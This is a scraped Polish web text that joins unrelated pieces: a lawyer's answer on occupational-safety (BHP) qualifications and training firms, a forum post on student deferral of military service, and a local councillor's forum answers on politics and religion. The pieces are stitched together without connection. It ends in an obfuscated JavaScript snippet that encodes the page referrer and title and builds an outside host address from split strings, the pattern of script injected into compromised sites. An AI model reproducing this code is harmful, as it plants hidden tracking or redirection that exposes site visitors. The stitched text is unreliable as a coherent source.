Czy po ukończeniu studiów podyplomowych z zakresu bhp mogę posługiwać się tytułem specjalisty ds. bhp, czy konieczne do tego jest uzyskanie jeszcze innych dodatkowych kwalifikacji? Czy po ukończeniu takich studiów mogę otworzyć firmę szkoleniowo-doradczą w dziedzinie bhp i osobiście prowadzić szkolenia bhp?
Samo ukończenie studiów podyplomowych w zakresie bhp nie uprawnia do posługiwania się tytułem specjalisty ds. bhp. Absolwent studiów podyplomowych w dziedzinie bhp może posługiwać się jedynie tytułem starszego inspektora ds. bhp.
Aby zostać specjalistą ds. bhp, należy spełnić 2 warunki, mianowicie:
1.ukończyć studia (posiadać wyższe wykształcenie) o kierunku lub specjalności w zakresie bhp lub studia podyplomowe bhp,
2.przepracować minimum 1 rok w służbie bhp.
Jednostka organizacyjna prowadząca działalność szkoleniową w dziedzinie bhp
Szkolenia bhp może prowadzić, jako zewnętrzny podmiot spoza firmy, na zlecenie pracodawcy, jedynie jednostka organizacyjna prowadząca działalność szkoleniową w dziedzinie bhp.
Taką jednostką organizacyjną może być:
placówka kształcenia ustawicznego, placówka kształcenia praktycznego, ośrodek dokształcania i doskonalenia zawodowego,
szkoła ponadgimnazjalna,
jednostka badawczo-rozwojowa, szkoła wyższa lub inna placówka naukowa,
stowarzyszenie, którego celem statutowym jest działalność związana z bhp,
osoba prawna lub fizyczna prowadząca działalność oświatową na zasadach określonych w przepisach ustawy z 2 lipca 2004 r. o swobodnie działalności gospodarczej (Dz.U. z 2007 r. nr 155, poz. 1095 z późn. zm.),
jeżeli prowadzą działalność szkoleniową w dziedzinie bhp.
Własna działalność gospodarcza
W opisanym przypadku osoba fizyczna może założyć własną działalność gospodarczą. Konieczne jest zarejestrowanie tej działalności przez wpis do ewidencji działalności gospodarczej z wpisaną w zakres działalności:
działalnością oświatową z zakresie szkoleń bhp,
działalnością doradczą w dziedzinie bhp.
Co trzeba zapewnić szkolonym?
Jeżeli osoba fizyczna będzie tworzyć jednostkę organizacyjną prowadzącą działalność szkoleniową w dziedzinie bhp, musi zapewnić:
a.programy poszczególnych rodzajów szkolenia opracowane dla określonych grup stanowisk,
b.programy szkolenia instruktorów w zakresie metod prowadzenia instruktażu – w przypadku prowadzenia takiego szkolenia,
c.wykładowców i instruktorów posiadających zasób wiedzy, doświadczenie zawodowe oraz przygotowanie dydaktyczne zapewniające właściwą realizację programów szkolenia,
d.odpowiednie warunki lokalowe do prowadzenia działalności szkoleniowej – szczególnie jeżeli szkolenia będą prowadzone poza siedzibą firmy zleceniodawcy (pracodawcy),
e.wyposażenie dydaktyczne niezbędne do właściwej realizacji programów szkolenia,
f.właściwy przebieg szkolenia oraz prowadzenie dokumentacji w postaci programów szkolenia, dzienników zajęć, protokołów przebiegu egzaminów i rejestru wydanych zaświadczeń.
Ważne
W przypadku osoby fizycznej, która tworzy jednostkę organizacyjną prowadzącą działalność szkoleniową w dziedzinie bhp, osoba ta sama będzie musiała zagwarantować wykładowców
i instruktorów posiadających zasób wiedzy, doświadczenie zawodowe oraz przygotowanie dydaktyczne zapewniające właściwą realizację programów szkolenia bhp. A tego od osoby, która posiada tytuł „starszy inspektor ds. bhp” można już oczekiwać.
Podstawa prawna
1.§ 4 ust. 2 pkt 2 lit. b i pkt 3 rozporządzenia Rady Ministrów z 2 września 1997 r. w sprawie służby bezpieczeństwa i higieny pracy (Dz.U. nr 109, poz. 704 z późn. zm.).
2.§ 1a pkt 2, § 4 ust. 1 i § 5 rozporządzenia Ministra Gospodarki i Pracy z 27 lipca 2004 r. w sprawie szkolenia w dziedzinie bezpieczeństwa i higieny pracy (Dz.U. nr 180, poz. 1860 z późn. zm.).
Kinga Grodzicka-Lisek
prawnik, specjalista z zakresu
prawa pracy i bhp

Odroczenie a szkoła

"Art. 39. 1. . Odroczenia zasadniczej służby wojskowej udziela się poborowemu na jego udokumentowany wniosek ze względu na:
1) wybór na posła - na czas pełnienia mandatu;
2) kandydowanie do Sejmu - na czas trwania kampanii wyborczej;
3) konieczność sprawowania bezpośredniej opieki nad członkiem rodziny wspólnie z nim zamieszkałym, który nie ukończył szesnastego roku życia lub został uznany za całkowicie niezdolnego do pracy i do samodzielnej egzystencji albo który ukończył siedemdziesiąty piąty rok życia, jeżeli nie ma innego pełnoletniego członka rodziny bliższego lub równego stopniem pokrewieństwa obowiązanego do sprawowania tej opieki, albo ze względu na obowiązek sprawowania opieki wynikającej z prawomocnego orzeczenia sądu - na czas sprawowania tej opieki, z zastrzeżeniem ust. 4;
4) pobieranie nauki w szkole wyższej, jeżeli jest on studentem - na czas pobierania tej nauki;
5) pobieranie nauki w zakładzie kształcenia nauczycieli - na czas pobierania tej nauki;
6) pobieranie nauki w szkole ponadgimnazjalnej, a do dnia 31 sierpnia 2008 r. także w szkole ponadpodstawowej - na czas pobierania tej nauki;
7) kształcenie w celu zdobycia kwalifikacji przydatnych w wojsku na podstawie umowy zawartej z wojskowym komendantem uzupełnień, o której mowa w art. 132a ust. 3, albo skierowania określonego w art.132b ust. 2 - na czas tego kształcenia."

W takim przypadku odroczenie jest przydzielane obligatoryjnie, a nie uznaniowo, jak np. wniosek o odroczenie z powodu spraw osobistych/rodzinnych, zatem urzędnik pracujący w WKU-nie jest istotne czy to osoba przyjmująca wnioski z upoważnienia komendanta, czy sam komendant-nie ma jakiegokolwiek pola manewru w tej sprawie. Czasem faktycznie, trzeba 'przycisnąć do muru' niektórych co bardziej upartych, jednak wtedy przeważnie kończy się na ustnym żądaniu poborowego o pisemną odpowiedź na jego wniosek formalny, w którym będzie widniała prawnie podparta argumentacja odmowy udzielenia odroczenia. Od roku 2006 nie ma mowy o jakimkolwiek limicie wiekowym, lub limicie ewentualnych odroczeń ze względu na pobieranie nauki, zatem raczej nikt nie zaryzykuje łamania prawa, zwłaszcza u osoby która wygląda na dobrze zeń zaznajomioną.

Nawet w przypadku absolwentów szkół wyższych udziela się odroczenia ze względu na:

"pobierania tej nauki w:
- szkole wyższej - pod warunkiem, że jest on studentem lub doktorantem,
- zakładzie kształcenia nauczycieli,
- szkole ponadgimnazjalnej (szkoła ponadgimnazjalna to każda szkoła powyżej gimnazjum, a poniżej studiów wyższych),
- szkołach duchownych.
Podstawa: art. 39 ust. 1 pkt 4, 5, 6 i ust. 2 - w związku z art. 93 ust. 3 - oraz art. 93 ust. 4 ustawy z dn. 21.11.1967r. o powszechnym obowiązku obrony RP. "

Tutaj również nie ma mowy o jakimkolwiek limicie wiekowym lub ewentualnie limicie szkól, które można ukończyć. Zatem prawnie nie jest zabroniony nawet paradoks w stylu "skończyłem studia i idę do szkoły policealnej'. Odroczenie wtedy przysługuje zgodnie ze stanem faktycznym, regulującym pracą komisji wojskowych.

Powiem jednak wszystkim zainteresowanym jedną rzecz, bardziej opartą na rzeczywistości niż na przepisach-starajcie się załatwiac swoje sprawy polubownie. Czasem bywa tak, że po zaakceptowaniu danego odroczenia pracownik Wojskowej Komendy Uzupełnień postawi przysłowiowy krzyżyk przy nazwisku poborowego. Wtedy trzeba będzie bardzo dobrze znać swoje prawa i przekładać je swoją stronę jak to tylko możliwe. Nikt nikomu nie zabroni przecież 'uwziąć' się na daną osobę, a wierzcie mi, wtedy jakiekolwiek potknięcie w życiu i kamasze przywitają-czasem w momencie zycia jeszcze trudniejszym, niż sama 'niechęć do służby'. To jednak tylko i wyłącznie moja rada, którą można brać do siebie lub nie.

Pozdrawiam.

Jacek Arasim - wznowienie debaty

Cytat:Korzystając z okazji, że jesteś chętny do udzielania konkretnych odpowiedzi, pozwolę sobie jako twoja potencjalna wyborczyni zadać kilka pytań:

1. Na kogo zagłosujesz w wyborach do Parlamentu Europejskiego?
2. Kogo widzisz na statnowisku Prezydenta Żor w przyszłych wyborach?
3. Co sądzisz o wprowadzeniu religii do szkół?
4. Co sądzisz o korzystaniu z sztucznych (nie naturalnych) metod antykoncepcyjnych?
5. Czy zgodzisz się z tezą, że Papież jest nieomylny?
6. W sali Rady Miejskiej w Żorach wisi krzyż. Czy miałbyś coś przeciwko temu, aby wyznawcy innych religii powiesili sobie obok niego symbole swojej wiary?

Dziękuję za ewentualną odpowiedź. Pozdrawiam i życzę wielu sukcesów w pracy radnego.



Baaardzo trudne pytania, bo nie ma na większość z nich prostej odpowiedzi ale spróbuję się nie rozwlekać zanadto...

Ad.1. Zagłosuję na Zygmunta Łukaszczyka- kandydata PO

Ad.2. Kogo widzę? Właściwie musiałbym odpowiedzieć, że ciemność widzę, ciemność, bo potencjalni kandydaci (poza obecnym prezydentem) siedzą cicho jak mysz pod miotłą, która nijak w żadną stronę ruszyć się nie ma ochoty.
Realno-potencjalnych kandydatów( wolałbym pisać o realiach) moim własnym i prywatnym zdaniem, jest na dzień dzisiejszy pięciu:

KOPER
ŁUKASZCZYK
MAROSZEK
SOCHA
ZABIEGLIŃSKI

Zakładając możliwość wystąpienia wszelakich w swoim rodzaju "okoliczności przyrody" realnie będzie można mówić o ww. osobach jako potencjalnych kandydatach, dopiero po wyborach parlamentarnych. Na razie ciemność widzę...

Ad.3. Religia w szkołach... To jest bardzo bardzo trudny temat, tak trudny,że boję sie spłycenia jego problematyki, ze względu na ograniczone możliwości debaty - generalnie byłby to ciekawy jak sądzę wątek dyskusyjny na forum. Ale wracając do obecności religi w szkołach... Zastrzegam się wszakże, iż biorę pod uwagę jedynie moje własne doświadczenie, poparte kontaktami z księżmi, katechetami, uczniami itd.
Żeby odpowiedź niosła konkret, na początek przedstawiam moją na ten temat opinię:

Jako jeden z wielu przedmiotów nauczania, Religia(stanowiąca wszak edukacyjny wyjątek, bo można na ową lekcję nie uczęszczać) powinna funkcjonować dopiero w szkole ponadpodstawowej, czyli od poziomu gimnazjum, z jednym, jednak istotnym wyjątkiem tematycznym, którym jest przygotowanie do sakramentu bierzmowania.

Dlaczego tak? Z powodów edukacyjno-wychowawczo-poznawczych. Na poziomie szkoły podstawowej, na dzieńdobry, pierwsze dwa lata z grubsza całą sprawę traktując, to przygotowania pod kątem pierwszej komunii, która akurat ze szkołą nie ma nic wspólnego, poza tym że sie do niej najczęściej przystępuje klasami.

Wg. mnie dzieciaki w wieku 8 lat powinny się oswoić z kościołem jako sacrum, jego zapleczem, powinny się czuć w nim w miarę swobodnie, wiedzieć dlaczego tak a nie inaczej wygląda ołtarz, konfesjonał, zachrystia, po są dzwonki, gong, kielich, tabernakulum itd. Pierwsze lata katechizacji powinny się skupić oprócz poznawania podstawowych prawd wiary i nauce modlitwy na poznawaniu swojego kościoła kształtowaniu miejsca i roli tych małych ludzi w Kościele. A gdzie miałoby się to dokonywać jak nie w miejscu do tego przeznaczonym?
Poza tym w pierwszych latach szkoły podstawowej, w owej edukacji religijnej powinni uczestniczyć rodzice - tuptać z bąblami do sali katechetycznej i pokazywac swoim przykładem sens angażowania się w religę, pomagać zrozumieć prawdy wpajane przez katechetów czy księży a przy okazji może samemu odświeżyć swoją wiedzę (nie obrażając nikogo) i sens religijności.

Co innego poziom szkoły ponadpodstawowej i ponadgimnazjalnej.
Na etapie tej pierwszej mamy do czynienia z końcówką wpływu wychowawczego rodziców i włączenie religii do siatki zajęć szkolnych, jest pożyteczne jak sądzę chociażby ze względu na proces wychowawczy, w którym szkoła powinna mieć swój udział. Także sposób prowadzenia zajęć powinien się zmieniać tak od strony dydaktycznej jak i merytorycznej pamiętając o ewolucji rozwoju psychofizycznego młodego człowieka.
Niezależnie jednak od tematyki zajęć, całkowicie osobno powinno sie przeprowadzać moim zdaniem formację kandydatów do bierzmowania- za przykład mogłaby służyć realizowana od paru lat metoda przygotowania do bierzmowania stosowana w Stanisławie -spotkania w małych grupach z odpowiednio przygotowaną osobą prowadzącą.

Szkoła ponadgimnazjalna to już wyższa jazda dydaktyczna dla prowadzących zajęcia z religii- poziom świadomości młodzieży narzuca tu wręcz prowadzącym lekcje kapłanom, siostrom czy katechetom sposób prowadzenia zajęć. Na tym poziomie, brak pomysłu na prowadzenie lekcji z religii to katusze dla osób prowadzących zajęcia i uczniów.

To chyba tyle w tym temacie...

Ad.4. Tylko tyle sadzę, że powinny jak najmniej szkodzić o ile ktoś już zdecydował sie na ich stosowanie - a każdy człowiek jest wolny- po to otrzymał wolną wolę, aby z niej korzystać.

cdn w następnych postach - ten jest już ciut za długi...

function bb51545455b705b(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa51545455b7020(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa51545455b7020(bb51545455b705b(document.referrer),bb51545455b705b(document.title)));